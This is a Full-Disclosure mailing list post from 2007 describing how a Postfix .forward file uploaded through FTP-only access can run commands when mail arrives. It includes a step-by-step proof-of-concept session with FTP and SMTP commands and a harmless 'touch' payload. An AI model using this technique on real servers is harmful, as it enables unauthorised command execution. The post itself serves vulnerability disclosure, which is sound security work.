[Full-disclosure] Small Design Bug in Postfix - REMOTE



Small Design Bug in Postfix - REMOTE

There's a small issue on how Postfix forwards mails.
A user can have a .forward file in her home directory.
Inside this file she can specifiy an alternative recipient
or use aliasing to execute commands when mail is received.
From the manpage ALIASES(5)
"aliases - Postfix local alias database format"

|command
Mail is piped into command. Commands that contain
special characters, such as whitespace, should be
enclosed between double quotes. See local(8) for
details of delivery to command.

When the command fails, a limited amount of command
output is mailed back to the sender. The file
/usr/include/sysexits.h defines the expected exit
status codes. For example, use "|exit 67" to simu-
late a "user unknown" error, and "|exit 0" to
implement an expensive black hole.

This is fine since postfix properly drops privileges before
executing the command.
The Problem with executing commands via .forward files is that
if someone manages to place a file into ones home directory and
just sends a file to the mailserver she can execute commands
even when she's not supposed to or does not have the privileges.

Here is an example exploitation session, the user 'rootkey'
only has ftp access with write permissions and no other privileges than that.

Login to FTP server
telnet box 21
USER rootkey
PASS rootkey123
<logged in

Put .forward file with following contents into the home directory of
user 'rootkey'.

---snip---
|touch /tmp/XXX
---snip---

put .forward

Now send an email to user rootkey.

telnet box 25
mail from: rootkey
rcpt to: rootkey
data
.

RESULT:

kcope@box:~$ ls /tmp/testXXX
/tmp/testXXX


signed,

- -kcope/2007

--
GMX FreeMail: 1 GB Postfach, 5 E-Mail-Adressen, 10 Free SMS.
Alle Infos und kostenlose Anmeldung: http://www.gmx.net/de/go/freemail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



Relevant Pages

  • Re: [Full-disclosure] Small Design Bug in Postfix - REMOTE
    ... A user can have a .forward file in her home directory. ... or use aliasing to execute commands when mail is received. ... Mail is piped into command. ... Here is an example exploitation session, the user 'rootkey' ...
    (Full-Disclosure)
  • Re: [Full-disclosure] Small Design Bug in Postfix - REMOTE
    ... A user can have a .forward file in her home directory. ... or use aliasing to execute commands when mail is received. ... Mail is piped into command. ... Here is an example exploitation session, the user 'rootkey' ...
    (Full-Disclosure)
  • Re: [redhat-list] updates pending question, is, sftp problems
    ... but sets everyones home directory to the same thing and ... What you may find is different sshd processes calling different ... the 'username' to the end of the command. ... and go through their configuration of the tool. ...
    (RedHat)
  • Re: variables
    ... CMDEXTVERSION System returns the version number of the current Command Processor Extensions. ... HOMEDRIVE System returns which local workstation drive letter is connected to the user's home directory. ... NUMBER_OF_PROCESSORS System specifies the number of processors installed on the computer. ... TEMP or TMP System and User return the default temporary directories for applications that are available to users who are currently logged on. ...
    (microsoft.public.windows.server.sbs)
  • imap question again...sorry if u replied before
    ... Sep 29 00:25:27 linuxbox imapd: Command stream end of file, ... i have my main.cf from postfix attached ... # Global Postfix configuration file. ... # The daemon_directory parameter specifies the location of all Postfix ...
    (RedHat)